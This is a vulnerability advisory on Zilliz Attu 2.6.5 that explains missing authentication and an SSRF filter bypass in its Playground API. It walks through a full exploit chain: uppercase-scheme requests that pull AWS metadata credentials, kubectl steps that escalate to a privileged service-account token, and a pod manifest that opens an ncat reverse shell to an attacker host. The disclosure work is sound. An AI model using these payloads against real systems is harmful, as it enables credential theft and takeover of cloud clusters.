Zilliz / Attu | 2.6.5

Zilliz / Attu | 2.6.5

Share

The following document describes vulnerabilities identified by Bishop Fox staff in Zilliz Attu 2.6.5. The vulnerabilities were discovered during independent research.

Product Vendor

Zilliz

Product Description

Attu is the GUI administration tool for Milvus, which is an open-source, high-performance vector database specifically designed for AI and Machine Learning (ML) applications. The product’s official website is https://zilliz.com/attu. The latest version of Attu is Attu v3.0.0, released on Sep 3, 2026.

Affected Version

Version 2.6.5

Summary of Findings

Bishop Fox staff identified two vulnerabilities in Zilliz Attu 2.6.5. Missing authentication in the Playground feature allowed Bishop Fox staff to proxy arbitrary HTTP and HTTPS requests to public URLs through affected instances of Attu. Insecure input validation additionally allowed Bishop Fox staff to proxy requests to private IP addresses, which would ordinarily be blocked by the Playground feature. In a typical cloud installation with Milvus and Attu deployed in a EKS cluster, Bishop Fox staff demonstrated that the two vulnerabilities could be combined to obtain administrative access to the Kubernetes namespace where Attu was deployed.

Recommended Solution or Mitigation

Update to Attu version 3.0.0

Timeline

  • 04/07/2026: Initial discovery
  • 06/01/2026: Contact with vendor via email
  • 08/19/2026: Attempted second contact with vendor via email
  • 08/27/2026: Attempted third contact with vendor via Github issue
  • 09/03/2026: Vendor responds to Github issue that Attu 2.6.x release line is no longer maintained. Suggests upgrading to Attu v3.0.0.
  • 09/29/2026: Vulnerabilities publicly disclosed

Credits

Berenice Flores, Senior Security Consultant, Bishop Fox 

    Attu 2.6.5 Vulnerabilities

    Missing Authentication

    Security Risk: Critical

    Definition

    Missing authentication occurs when applications fail to implement authentication controls, which may result in arbitrary users gaining unauthorized access to the application or its underlying functionality.

    Details

    Bishop Fox staff determined that the Attu application allowed sensitive operations to be triggered without authentication. As a result, unauthenticated attackers could use the Playground feature as an HTTP or HTTPS proxy, allowing requests to be routed through an affected instance of Attu to a destination of the attacker’s choosing. Bishop Fox staff demonstrated that this vulnerability could also be used in combination with the Insecure Input Validation vulnerability described later in this report to access internal IP addresses, such as cloud provider metadata URLs.

    Bishop Fox staff examined the server-side code for Attu and identified the presence of logic that performed authorization checks for Attu’s APIs. However, the code only performed the authorization checks when a Milvus client ID value was present in the request. If the milvus-client-id header was missing or empty, the milvusClientId variable would be set to an empty string, which is equivalent to the Boolean value false in JavaScript. This caused the validation steps to be skipped, as shown below:

    …omitted for brevity… 
    const ReqHeaderMiddleware = (req, res, next) => { 
        // all ape requests need set milvus address in header. 
        // server will set active address in milvus service. 
        const milvusClientId = req.headers[utils_1.MILVUS_CLIENT_ID] || ''; 
        req.clientId = req.headers[utils_1.MILVUS_CLIENT_ID]; 
        …omitted for brevity… 
        const bypassURLs = [`/api/v1/milvus/connect`, `/api/v1/milvus/version`]; 
        if (bypassURLs.indexOf(req.url) === -1 && 
            milvusClientId && 
            !cache_1.clientCache.get(milvusClientId)) { 
            throw (0, http_errors_1.default)(utils_1.HTTP_STATUS_CODE.UNAUTHORIZED, 'Can not find your connection, please reconnect.'); 
        } 
        next(); 
    };

    Figure 1 – Authorization check in middleware index.js

    Bishop Fox staff discovered a secondary authentication check in other service handlers, such as database.service.js, which performed an independent cache lookup of the clientId and returned a 401 HTTP status code if the clientId was not found. However, Bishop Fox staff determined that although the playground service handler did perform its own client ID lookup, it would skip validation of the request if the cache did not contain the client ID, as shown below:

    …omitted for brevity…  
    handleRequest(req, res, next) { 
      return __awaiter(this, void 0, void 0, function* () { 
        try { 
         const { clientId } = req; 
         const connection = cache_1.clientCache.get(clientId); 
         const allowedHosts = []; 
         if (connection) { 
           // Add connected milvus address host 
          if (connection.address) { 
            const formattedAddress = milvus_service_1.MilvusService.formatAddress(connection.address); 
           // remove port 
            const host = formattedAddress.split(':')[0]; 
            allowedHosts.push(host); 
         } 
          if (connection.webui_api_base) { 
            try { 
              const url = new URL(connection.webui_api_base); 
              allowedHosts.push(url.hostname); 
            } 
            catch (e) { 
              // ignore invalid url 
            } 
          } 
    } 
    const result = yield this.playgroundService.makeRequest(req.body, allowedHosts); 
    res.send(result);

    Figure 2 – clientId presence not validated in playground.controller.js

    This allowed unauthenticated requests to proceed when no milvus-client-id header was supplied.

    To verify this issue, Bishop Fox staff sent a request to the /api/v1/playground endpoint without the milvus-client-id header and specified a Burp Suite Collaborator URL in the host parameter:

    Request

    POST /api/v1/playground HTTP/1.1 
    Host: <attu-server>:3000 
    Content-Length: 111 
    Content-Type: application/json 
    
    {"host":"http://[REDACTED]","url":"/playground_milvus","headers":{},"method":"GET"}
    

    Response

    HTTP/1.1 200 OK 
    …omitted for brevity… 
    Content-Type: text/html; charset=utf-8 
    Content-Length: 55 
    ETag: W/"37-7hnWobz9cccYO+dTiC2SyRi5vkg" 
    Date: Wed, 01 Apr 2026 19:58:41 GMT 
    Connection: keep-alive 
    Keep-Alive: timeout=5 
    
    <html><body>v7zvvct5i2gixfkt1cgutfzjjgtgz</body></html>
    

    As shown above, the request to the external URL was successful and depended only on network connectivity to the Attu API. The Attu application attempted to prevent users from using the Playground feature to access internal IP addresses, but Bishop Fox staff discovered a separate issue – discussed in the Insecure Input Validation finding – that allowed them to bypass that mechanism.

    Affected Locations

    URL

    • http://<attu-server /api/v1/playground

    Source Code

    • /app/dist/src/middleware/index.js:12-32
    • /app/dist/src/playground/playground.controller.js:34-56

    Total Instances 1

    Recommendations 

    To remediate insecure authentication methods, Bishop Fox staff recommend the following actions:

    • For features that require authorization, reject requests that do not include authentication information.
    • Implement authentication and authorization in centralized locations in the source code, rather than re-implementing similar logic for different features.
    • Ensure that authentication-related values are validated for every request.

    Additional Resources

    OWASP Top Ten 2025 – Broken Access Control

    https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/

    How do authentication vulnerabilities arise?

    https://portswigger.net/web-security/authentication#how-do-authentication-vulnerabilities-arise

    CWE-287: Improper Authentication

    https://cwe.mitre.org/data/definitions/287.html

    Insecure Input Validation

    Security Risk: High

    Definition

    Insecure input validation occurs when an application does not perform strong input validation, check all input, apply the correct validation routine based on the input type, or apply the validation routines on the server side.

    Details

    Bishop Fox staff determined that the Attu application did not sufficiently validate requests to the Playground feature’s API endpoint, and exploited the vulnerability to access internal IP addresses via the Playground API. An adversary could leverage this issue in combination with the Missing Authentication finding in this report to use vulnerable internet-facing Attu instances as footholds in the environments where those instances were deployed. For example, Bishop Fox staff demonstrated that an attack against an instance of Attu deployed in an Amazon Web Services (AWS) EKS cluster could result in the attack obtaining administrative access to the Kubernetes namespace where the vulnerable Attu instance was hosted.

    The Attu application’s Playground feature attempted to prevent users from proxying requests to internal IP addresses, as shown below:

    Request

    POST /api/v1/playground HTTP/1.1 
    Host: 10.1.1.11:3000 
    …omitted for brevity… 
    Content-Type: application/json 
    Content-Length: 70 
    
    { 
        "host":"http://10.1.1.11:3000", 
        "url":"/", 
        "headers":{}, 
        "method":"GET" 
    }

    Response

    HTTP/1.1 500 Internal Server Error 
    …omitted for brevity… 
    { 
        "statusCode":500, 
        "message":"Access to private IP 10.1.1.11 is forbidden" 
    }

    However, Bishop Fox staff found that the restriction could be bypassed by placing an internet-facing URL in the host field, placing the entire internal URL in the url field, and ensuring that at least one letter in the scheme portion of the internal URL was capitalized. For example, in the request/response pair below, the host field specified the public Bishop Fox website, and the url field specified the URL of the vulnerable Attu instance, with the first “T” in “hTtp” capitalized. The response contained the Attu content, not the Bishop Fox website content.

    Request

    POST /api/v1/playground HTTP/1.1 
    Host: 10.1.1.11:3000 
    …omitted for brevity… 
    Content-Type: application/json 
    Content-Length: 70  
    
    { 
        "host":"http://bishopfox.com/", 
        "url":"hTtp://10.1.1.11:3000/", 
        "headers":{}, 
        "method":"GET" 
    }
    

    Response

    HTTP/1.1 200 OK 
    …omitted for brevity… 
     
    <!DOCTYPE html> 
    <html lang="en"> 
    <head> 
      <meta charset="utf-8" /> 
      <link rel="icon" href="attu.svg" /> 
      <meta name="description" content="Attu, the best milvus management tool" /> 
    …omitted for brevity… 
      <title>Attu</title> 
    …omitted for brevity…
    

    The underlying cause of this vulnerability was a regular expression employed in Attu’s isAbsoluteUrl function to determine whether the provided url input value (data.url) should be treated as an absolute or a relative URL. The regular expression used case-sensitive matching, but only specified lowercase letters in the section of the pattern intended to match a URL’s scheme, as shown below:

    …omitted for brevity… 
    class PlaygroundService { 
        makeRequest(data_1) { 
            return __awaiter(this, arguments, void 0, function* (data, allowedHosts = []) { 
                // Check if url is absolute 
                const isAbsoluteUrl = /^[a-z][a-z\d\+\-\.]*:/.test(data.url) || data.url.startsWith('//'); 
                let targetUrlString = data.url; 
                // If it's a relative URL, we need a base host 
                if (!isAbsoluteUrl) { 
                    if (data.host) { 
    
                        // If host is provided, validate the host 
                        targetUrlString = data.host; 
                    } 
                    else { 
                        // If neither absolute URL nor host is provided, we can't process it safely 
                        // But maybe it's just a path? playground usually assumes a base if not provided? 
                        // Let's assume the previous logic was correct and it just fails later if invalid. 
                    } 
                } 
                // validate and get resolved IP 
                const resolvedIp = yield (0, Network_1.checkUrl)(targetUrlString, allowedHosts); 
                …omitted for brevity…

    Figure 3 – Regular expression classification of absolute vs. relative URLs in playground.service.js:19-38

    When a URL beginning with a scheme containing at least one uppercase letter (such as HTTP://169.254.169.254/latest/meta-data) was supplied in the url parameter, the validation check failed to identify it as an absolute address. The affected code then selected the host parameter value (data.host) as the target (targetUrlString) for security validation instead of the malicious url parameter.

    The security validation process resolved the DNS name to its IP address, then checked that address against a list of prohibited private ranges. If the address in the host parameter was identified as a public resource, it successfully passed the safety inspection and was returned as a valid destination.

    The corresponding source code is shown below:

    const checkUrl = (urlString_1, ...args_1) => __awaiter(void 0, [urlString_1, ...args_1], void 0, function* (urlString, allowedHosts = []) { 
        let url; 
    …omitted for brevity… 
        // Resolve hostname 
        return new Promise((resolve, reject) => { 
            dns_1.default.lookup(url.hostname, (err, address, family) => { 
                if (err) { 
                    // If DNS lookup fails, it's safe to reject, as we can't verify the IP 
                    reject(err); 
                    return; 
                } 
                // Check allowed list again with resolved IP 
                if (allowedHosts.includes(url.hostname) || 
                    allowedHosts.includes(address)) { 
                    resolve(address); 
                    return; 
                } 
                if ((0, exports.isPrivateIP)(address)) { 
                    reject(new Error(`Access to private IP ${address} is forbidden`)); 
                    return; 
                } 
                resolve(address); 
            }); 
        });

    Figure 4 – The checkUrl function in Network.js used to verify the legitimacy of the target destination

    After the checkUrl function completed, the Playground service constructed an HTTP or HTTPS request to the IP address resolved by the security validation step, but placing the original host name in the HTTP Host header so that requests would generally be handled correctly by application-layer routing. This approach may have been intended as a mitigation against DNS rebinding attacks. The function set the url property of the config object to the unmodified url value from the request, then passed the config object to the Axios library to perform the HTTP or HTTPS request.

    …omitted for brevity… 
    const url_1 = require("url"); 
    class PlaygroundService { 
        makeRequest(data_1) { 
            return __awaiter(this, arguments, void 0, function* (data, allowedHosts = []) { 
    …omitted for brevity… 
                const config = { 
                    method: data.method, 
                    headers: data.headers || {}, 
                    params: data.params, 
                    data: data.body, 
                }; 
                // Construct safe URL using resolved IP 
                try { 
                    const parsedUrl = new url_1.URL(targetUrlString); 
                    // Save original host for the Host header if not already present 
                    if (!config.headers.Host) { 
                        config.headers.Host = parsedUrl.host; 
                    } 
                    // Replace hostname with resolved IP in the URL 
                    parsedUrl.hostname = resolvedIp; 
                    if (isAbsoluteUrl) { 
                        config.url = parsedUrl.toString(); 
                    } 
                    else { 
                        // If original was relative, we used data.host to resolve IP. 
                        // We set baseURL to the safe IP version of data.host 
                        config.baseURL = parsedUrl.toString(); 
                        config.url = data.url; 
                    } 
                } 
    …omitted for brevity… 
                try { 
                    const response = yield (0, axios_1.default)(config); 
                    return response.data; 
                } 
    …omitted for brevity…

    Figure 5 – Request configuration construction in playground.service.js

    The Axios library invoked the function buildFullPath to determine the full URL by either combining the baseURL property with the url property if the url property contained a relative URI, or ignoring the baseURL property entirely and using only the url property if the url property contained a full URL. The Axios logic for differentiating full URLs from relative URIs was very similar to the Attu logic, with the exception that the regular expression used in the Axios library to detect the presence of a scheme element in the url property was performed without case-sensitivity, as shown below:

    …omitted for brevity… 
    /** 
     * Determines whether the specified URL is absolute 
     * 
    …omitted for brevity… 
    function isAbsoluteURL(url) { 
      // A URL is considered absolute if it begins with "<scheme>://" or "//" (protocol-relative URL). 
    …omitted for brevity… 
      if (typeof url !== 'string') { 
        return false; 
      } 
     
    
      return /^([a-z][a-z\d+\-.]*:)?\/\//i.test(url); 
    } 
    …omitted for brevity… 
     * Creates a new URL by combining the baseURL with the requestedURL, 
     * only when the requestedURL is not already an absolute URL. 
     * If the requestURL is absolute, this function returns the requestedURL untouched. 
     * 
     * @param {string} baseURL The base URL 
     * @param {string} requestedURL Absolute or relative URL to combine 
     * 
     * @returns {string} The combined full path 
     */ 
    function buildFullPath(baseURL, requestedURL, allowAbsoluteUrls) { 
      let isRelativeUrl = !isAbsoluteURL(requestedURL); 
      if (baseURL && (isRelativeUrl || allowAbsoluteUrls == false)) { 
        return combineURLs(baseURL, requestedURL); 
      } 
      return requestedURL; 
    } 
    …omitted for brevity… 
    const httpAdapter = isHttpAdapterSupported && 
      function httpAdapter(config) { 
        return wrapAsync(async function dispatchHttpRequest(resolve, reject, onDone) { 
    …omitted for brevity… 
          // Parse url 
          const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls); 
          const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined); 
          const protocol = parsed.protocol || supportedProtocols[0]; 
    …omitted for brevity…

    Figure 6 – URL check in Axios library

    This mismatch in how the Playground service and the Axios library classified the same input allowed a request to bypass the private IP address check in the Playground service, but still cause the Axios library to connect to a private IP address.

    To verify the previous analysis, Bishop Fox staff submitted a request to the /api/v1/playground endpoint using an uppercase URL scheme – HTTP:// instead of http://, in this case – in the url parameter alongside a public URL in the host field.

    Bishop Fox staff created a test instance of Attu in Amazon Web Services (AWS) EC2, using the official zilliz/attu:v2.6.5 container image. Bishop Fox staff targeted the instance metadata service to demonstrate that exploitation of an EC2-hosted Attu instance could allow an attacker to obtain instance credentials. As the EC2 instance where the service was deployed utilized IMDSv2, the request was specifically directed to the /latest/api/token/ path to first obtain a valid session token. The following request and response demonstrate that the internal AWS metadata service was successfully reached, confirming that the security validation was incorrectly applied to the public host property while the malicious url property was used by the Axios library:

    Request

    POST /api/v1/playground HTTP/1.1 
    Host: <attu-endpoint>:3000 
    Content-Length: 429 
    …omitted for brevity… 
    Content-Type: application/json 
    
    {"url":"HTTP://169.254.169.254/latest/api/token/","host":"http://[REDACTED]","headers":{"X-aws-ec2-metadata-token-ttl-seconds":"21600"},"method":"PUT","body":{"collectionName":"attu_milvus_example","schema":{"fields":[{"fieldName":"pk","dataType":"VarChar","isPrimary":true,"elementTypeParams":{"max_length":100}},{"fieldName":"dense_vector","dataType":"FloatVector","elementTypeParams":{"dim":4}}]}}}
    

    Response

    HTTP/1.1 200 OK 
    ...omitted for brevity... 
    Content-Type: text/html; charset=utf-8 
    Content-Length: 56 
    Date: Wed, 01 Apr 2026 00:16:54 GMT 
    ...omitted for brevity... 
     
    AQAEAJJCVbGZQo0n0M[REDACTED]8-LiEPHkI0aQ==
    

    Following the successful acquisition of the session token from the metadata service, Bishop Fox staff performed a request to obtain to the AWS key, secret key, and token for the IAM role associated with the EC2 instance:

    Request

    POST /api/v1/playground HTTP/1.1 
    Host: <attu-endpoint>:3000 
    Content-Length: 557 
    …omitted for brevity… 
    Content-Type: application/json  
    
    {"url":"HTTP://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-milvus-eks-cluster-nodegrou-NodeInstanceRole-CT8qI3ybezSz","host":"http://[REDACTED]","headers":{"X-aws-ec2-metadata-token":"AQAEAJJCVbGZQo0n0M[REDACTED]8-LiEPHkI0aQ=="},"method":"GET","body":{"collectionName":"attu_milvus_example","schema":{"fields":[{"fieldName":"pk","dataType":"VarChar","isPrimary":true,"elementTypeParams":{"max_length":100}},{"fieldName":"dense_vector","dataType":"FloatVector","elementTypeParams":{"dim":4}}]}}}

    Response

    HTTP/1.1 200 OK 
    ...omitted for brevity... 
    Date: Wed, 01 Apr 2026 00:17:20 GMT 
    Content-Type: text/html; charset=utf-8 
     
    {"data":{"Code":"Success","LastUpdated":"2026-03-31T23:33:18Z","Type":"AWS-HMAC","AccessKeyId":"ASIASS2WC7D6C6NF4QTZ","SecretAccessKey":"CqZmWV+PghC+pZQf[REDACTED]","Token":"IQoJb3JpZ2luX2VjEID//////////wEaCXVzLWVhc3QtMiJHMEUCI[REDACTED]iTH5HtKW4jTXfqIwY=","Expiration":"2026-04-01T05:58:32Z"},"statusCode":200}
    

    Bishop Fox staff exported the temporary AWS credentials to a local terminal environment, then executed a call to the STS service to perform a self-identification check against the AWS Security Token Service. This step confirmed that the credentials were active and correctly associated with the eksctl-milvus-eks-cluster-nodegrou-NodeInstanceRole-CT8qI3ybezSz IAM role assigned to the EC2 instance:

    $ export AWS_ACCESS_KEY_ID=ASIASS2WC7D6C6NF4QTZ 
    $ export AWS_SECRET_ACCESS_KEY=CqZmWV+PghC+pZQf[REDACTED] 
    $ export AWS_SESSION_TOKEN= IQoJb3JpZ2luX2VjEID//////////wEaCXVzLWVhc3QtMiJHMEUCI[REDACTED]iTH5HtKW4jTXfqIwY= 
    $ aws sts get-caller-identity 
    { 
        "UserId": "AROASS2WC7D6CAY6L23GF:i-07dd03[REDACTED]", 
        "Account": "[REDACTED]", 
        "Arn": "arn:aws:sts::[REDACTED]:assumed-role/eksctl-milvus-eks-cluster-nodegrou-NodeInstanceRole-CT8qI3ybezSz/i-07dd03[REDACTED]" 
    }

    Figure 7 – Verification of the IAM role identity

    The IAM role name associated with the temporary credentials eksctl-milvus-eks-cluster-nodegrou-NodeInstanceRole-CT8qI3ybezSz contained specific references to the EKS node group. Using the captured credentials, Bishop Fox staff retrieved the instance tags, which explicitly revealed the cluster name, then inspected the cluster's control plane settings, as shown below:

    $ aws ec2 describe-instances --region us-east-2 --query "Reservations[].Instances[].{ID:InstanceId, AllTags:Tags}" 
    [ 
        { 
            "ID": "i-0ca9449f[REDACTED]", 
            "AllTags": [ 
    …omitted for brevity…             
                { 
                   "Key": "aws:eks:cluster-name", 
                    "Value": "milvus-eks-cluster" 
    …omitted for brevity… 
        { 
            "ID": "i-0ca14fd[REDACTED]", 
            "AllTags": [ 
                { 
                    "Key": "eks:cluster-name", 
                    "Value": "milvus-eks-cluster" 
                }, 
    …omitted for brevity… 
     
    $ aws eks describe-cluster --name milvus-eks-cluster --region us-east-2 
    { 
        "cluster": { 
            "name": "milvus-eks-cluster", 
            "arn": "arn:aws:eks:us-east-2:[REDACTED]:cluster/milvus-eks-cluster", 
            "createdAt": "2026-03-26T13:37:10.731000-06:00", 
            "version": "1.35", 
            "endpoint": "https://E1967BF3[REDACTED].gr7.us-east-2.eks.amazonaws.com", 
            …omitted for brevity… 
                "clusterSecurityGroupId": "sg-0ef1fb414a3e48dae", 
                "vpcId": "vpc-0bab1fb9e549b8041", 
                "endpointPublicAccess": true, 
                "endpointPrivateAccess": false, 
                "publicAccessCidrs": [ 
                    "0.0.0.0/0" 
                ] 
    …omitted for brevity…

    Figure 8 – Identification of the EKS cluster name and verification of the publicly accessible Kubernetes API endpoint

    The cluster settings indicated that the Kubernetes API server endpoint was configured for public access in the default AWS Milvus configuration.

    Bishop Fox staff then used the captured credentials to update the local Kubernetes configuration, enabling direct authentication to the cluster's API server. This was possible because the exfiltrated credentials belonged to an EC2 instance functioning as a registered node within the environment. Upon verifying the current identity through the Kubernetes command-line interface, Bishop Fox staff confirmed that the session was authenticated to the AWS EKS cluster as a node identity (system:node).

    $ aws eks update-kubeconfig --region 'us-east-2' --name 'milvus-eks-cluster' 
    Added new context arn:aws:eks:us-east-2:[REDACTED]:cluster/milvus-eks-cluster to /root/.kube/config 
    $ kubectl auth whoami 
    ATTRIBUTE                                              VALUE 
    Username                                               system:node:ip-192-168[REDACTED].us-east-2.compute.internal 
    UID                                                    aws-iam-authenticator:[REDACTED]:AROASS2WC7D6CAY6L23GF 
    Groups                                                 [system:nodes system:authenticated] 
    Extra: accessKeyId                                     [ASIASS2WC7D6JV6PC4NP] 
    Extra: arn                                             [arn:aws:sts::[REDACTED]:assumed-role/eksctl-milvus-eks-cluster-nodegrou-NodeInstanceRole-CT8qI3ybezSz/i-07dd0[REDACTED]] 
    Extra: canonicalArn                                    [arn:aws:iam::[REDACTED]:role/eksctl-milvus-eks-cluster-nodegrou-NodeInstanceRole-CT8qI3ybezSz]

    Figure 9 - Verification of the authenticated Kubernetes identity as a cluster node

    Bishop Fox staff then utilized the permissions associated with the system:node identity to enumerate the various pods running on the node and their associated service accounts:

    $ kubectl get pods --field-selector=spec.nodeName=ip-192-168-98-102.us-east-2.compute.internal -o custom-columns="POD:.metadata.name,SERVICE_ACCOUNT:.spec.serviceAccountName" 
    POD                                      SERVICE_ACCOUNT 
    milvus-demo-attu-7675bf7c55-sldxd        default 
    milvus-demo-etcd-2                       default 
    milvus-demo-mixcoord-75449d4b99-2vnb9    default 
    milvus-demo-pulsarv3-bookie-2            milvus-demo-pulsarv3-bookie 
    milvus-demo-pulsarv3-bookie-init-gkpqm   milvus-demo-pulsarv3-bookie 
    milvus-demo-pulsarv3-broker-0            milvus-demo-pulsarv3-broker-acct 
    milvus-demo-pulsarv3-proxy-0             milvus-demo-pulsarv3-proxy 
    …omitted for brevity…

    Figure 10 – Enumeration of pod names and service account identities on the compromised node

    In addition to listing pods, nodes could create service account tokens for pods running on them. The Bishop Fox staff created a token for the privileged milvus-demo-pulsarv3-broker-acct service account, which possessed extensive permissions to create or modify resources in the milvus namespace. This process allowed for the transition from a node-level identity to a service-level identity, effectively granting the access rights associated with that specific service account.

    $ kubectl get pod milvus-demo-pulsarv3-broker-0 -o json -n milvus | jq -r '"Namespace: \(.metadata.namespace)", "Name: \(.metadata.name)", "UID: \(.metadata.uid)", "SA: \(.spec.serviceAccountName)"' 
    Namespace: milvus 
    Name: milvus-demo-pulsarv3-broker-0 
    UID: 265925ab-bf1c-4560-a896-76560ab95708 
    SA: milvus-demo-pulsarv3-broker-acct 
     
    
    $ TOKEN=$( 
          kubectl create token milvus-demo-pulsarv3-broker-acct \ 
          --namespace milvus \ 
          --bound-object-kind Pod \ 
          --bound-object-name "milvus-demo-pulsarv3-broker-0" \ 
          --bound-object-uid="265925ab-bf1c-4560-a896-76560ab95708" 
    ) 
    $ echo $TOKEN 
    eyJhbGciOiJSUzI1NiIsImtpZCI6IjdkMzQ0YjZiZjVkMmQ3Mjg5NTU4MWI2ZTQ5MjU5ZmM5NTUwYTg4ZjgiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm [REDACTED] 
    
     
    $ kubectl --token $TOKEN auth whoami 
    ATTRIBUTE                                           VALUE 
    Username                                            system:serviceaccount:milvus:milvus-demo-pulsarv3-broker-acct 
    UID                                                 5904d9f7-9b1d-4c3d-b903-d53f357bf213 
    Groups                                              [system:serviceaccounts system:serviceaccounts:milvus system:authenticated] 
    Extra: authentication.kubernetes.io/credential-id   [JTI=1316b7fe-6808-4942-8b37-20ddbd4ec31f] 
    …omitted for brevity…

    Figure 11 – Creating privileged service account token

    Bishop Fox staff then deployed a malicious pod configuration to the cluster, designed to execute a reverse shell command upon startup. To facilitate this connection, Bishop Fox staff started an a ncat listener on a remote attacker-controlled host to await the incoming communication. Once the pod reached a running state, the reverse shell connected to the listener, providing interactive command-line access within the containerized environment.

    $ cat pod_shell.yaml 
    apiVersion: v1 
    kind: Pod 
    metadata: 
      name: bishop-fox-revshell-pod 
      labels: 
        app: pentest 
    spec: 
      hostNetwork: true 
      hostPID: true 
      hostIPC: true 
      containers: 
      - name: bishop-fox-revshell-pod 
        image: public.ecr.aws/amazonlinux/amazonlinux:latest 
     
        command: [ "/bin/sh", "-c", "--" ] 
        args: [ "yum -y update && yum -y install nc &&  ncat --ssl <attacker-ip> -e /bin/bash;" ] 
        securityContext: 
          privileged: true 
        volumeMounts: 
        - mountPath: /host 
          name: noderoot 
      volumes: 
      - name: noderoot 
        hostPath: 
          path: /  
    
    $ kubectl create -f ./pod_shell.yaml -n milvus --token $TOKEN 
    pod/bishop-fox-revshell-pod created 
     
    
     
    $ sudo ncat -l 8443 --ssl -v 
    Ncat: Version 7.98 ( https://nmap.org/ncat ) 
    Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. 
    Ncat: SHA-1 fingerprint: C13D E9CB C9B8 C0D6 0B77 3BD0 7691 6D4C A232 E924 
    Ncat: Listening on [::]:8443 
    Ncat: Listening on 0.0.0.0:8443 
    Ncat: Connection from [REDACTED]:40906. 
    id 
    uid=0(root) gid=0(root) groups=0(root) 
    uname -a 
    Linux ip-192-168-178-55.us-east-2.compute.internal 6.12.73-95.123.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 23:31:49 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux

    Figure 12 – Deployment of a reverse shell pod

    This sequence of events resulted in the compromise of the application's namespace, enabling the execution of arbitrary code and the potential interception of all internal data and secrets.

    Affected Locations

    URL

    • http://<attu-server /api/v1/playground

    Source Code

    • /app/dist/src/playground/playground.service.js: 23, 26–35, 47–63, 72
    • /app/dist/src/utils/Network.js: 100–165

    Total Instances 1

    Recommendations

    To remediate the insecure input validation, Bishop Fox staff recommend the following actions:

    • Where possible, redesign application functionality so that it does not allow user input to specify remote resources that the system will use.
    • Perform strong input validation (e.g., exact match or allowlisting) to ensure that attackers are not able to circumvent loose or weak validation routines. Where possible, the application should reject any invalid input instead of attempting to sanitize the bad data.
    • Create an allowlist feature so that Attu administrators can define a list of approved servers from which the application is allowed to make queries with Axios library; restrict the API external communications to these approved servers.

    Additional Resources

    OWASP - Unvalidated Input

    https://community.owasp.org/vulnerabilities/Improper_Data_Validation

    CWE-20: Improper Input Validation

    https://cwe.mitre.org/data/definitions/20.html

    OWASP Cheat Sheet Series - Input Validation

    https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html

    Vendor Response

    Zilliz stated that the Attu 2.6.x release line is no longer maintained, and it will not release fixes for version 2.6.5. The vendor recommends that users upgrade to Attu version 3.0.0, which supports Milvus 2.6.0 and later. Version 3.0.0 is a substantial rewrite of both the frontend and the backend. Bishop Fox staff could not reproduce the Missing Authentication or Insecure Input Validation vulnerabilities in Attu 3.0.0.

    Bishop Fox recommends that users running Attu 2.6.5 upgrade to version 3.0.0 as soon as possible. Version 2.6.5 remains vulnerable and will not receive a patch. An unauthenticated attacker with network access to an affected Attu instance could use the Playground feature to send requests to internal services and cloud metadata endpoints. In cloud deployments such as Amazon EKS, this could let the attacker take over the Kubernetes namespace where Attu is deployed and possibly the wider cloud environment.

    If an immediate upgrade is not possible, Bishop Fox recommends that users restrict network access to Attu 2.6.5 instances. For example, deploy them only in isolated networks, or put them behind a reverse proxy that requires authentication. Users should also limit the permissions of the Kubernetes service account attached to the Attu pod and block pod access to the cloud instance metadata service.

    Subscribe to our blog

    Be first to learn about latest tools, advisories, and findings.